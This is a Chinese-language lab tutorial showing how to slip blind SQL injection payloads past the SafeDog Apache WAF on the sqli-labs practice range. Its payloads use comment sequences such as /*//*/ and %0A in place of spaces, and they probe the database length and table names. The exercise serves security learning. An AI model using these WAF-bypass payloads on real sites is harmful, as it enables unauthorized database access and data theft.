环境:
phpstudy2018
安全狗apache版
sqllabs靶场
安全狗绕过思路:
安全狗是基于正则匹配的绕过,所以总是能够绕过其正则匹配实现sql的命令执行,需要对数据库语句灵活掌握。经过对安全狗的fuzz,测试其拦截规则,发现其实and、or这样的敏感字符是不会被直接拦截的,但是and加空格就会被拦截,其实绕过的中心可以向如何绕过空格偏移。
为了可以更清晰的认知注入语句是如何在数据库中执行的,我修改了sqli-lab的代码,可以看到我们输入的语句和数据库执行的语句,可以在对应位置上加入这两条语句。
echo "有效输入:".$id."<br>";
echo "mysql:"."$sql"."<br>";
安全狗绕过步骤:
1.以第八关基于单引号的布尔为例,首先探测注入点
输入?id=1' and1=1 --+,并不会被安全狗拦截
输入?id=1' and 1=1 --+,被安全狗拦截,反向印证了安全狗是检测and和空格组合体的
2.此时绕过空格,利用/*//*/绕过空格。此字符表示注释/*/表示一个闭合,*字符被两边的/共用了
?id=1' and/*//*/1=1 --+
如果不理解为什么/*/为什么是一个闭合可以到mysql管理器去执行
3.下面探测数据库长度,在这里安全狗检测and空格和database(),也可以通过/*//*/绕过
绕过语句:?id=1' and/*//*/length(database(/*/*/))>7--+
4.下面探测数据表,此处需要绕过and和from后面的空格,information_schema.tables和database(),and和from和database()都已经绕过了,核心就是绕过information_schema.tables,这里采用的方式是--+/*0ainformation_schema.tables,--代表将本行的sql语句注释掉了,+号充当空格,%0a表示闭合
绕过语句:?id=1' and/*//*/substr((select table_name from/*//*/--+/*%0Ainformation_schema.tables where table_schema=database(/*//*/) limit 0,1),1,1)='e'--+
如果不理解具体如何执行,可以把sql语句放到mysql管理器执行查看闭合方式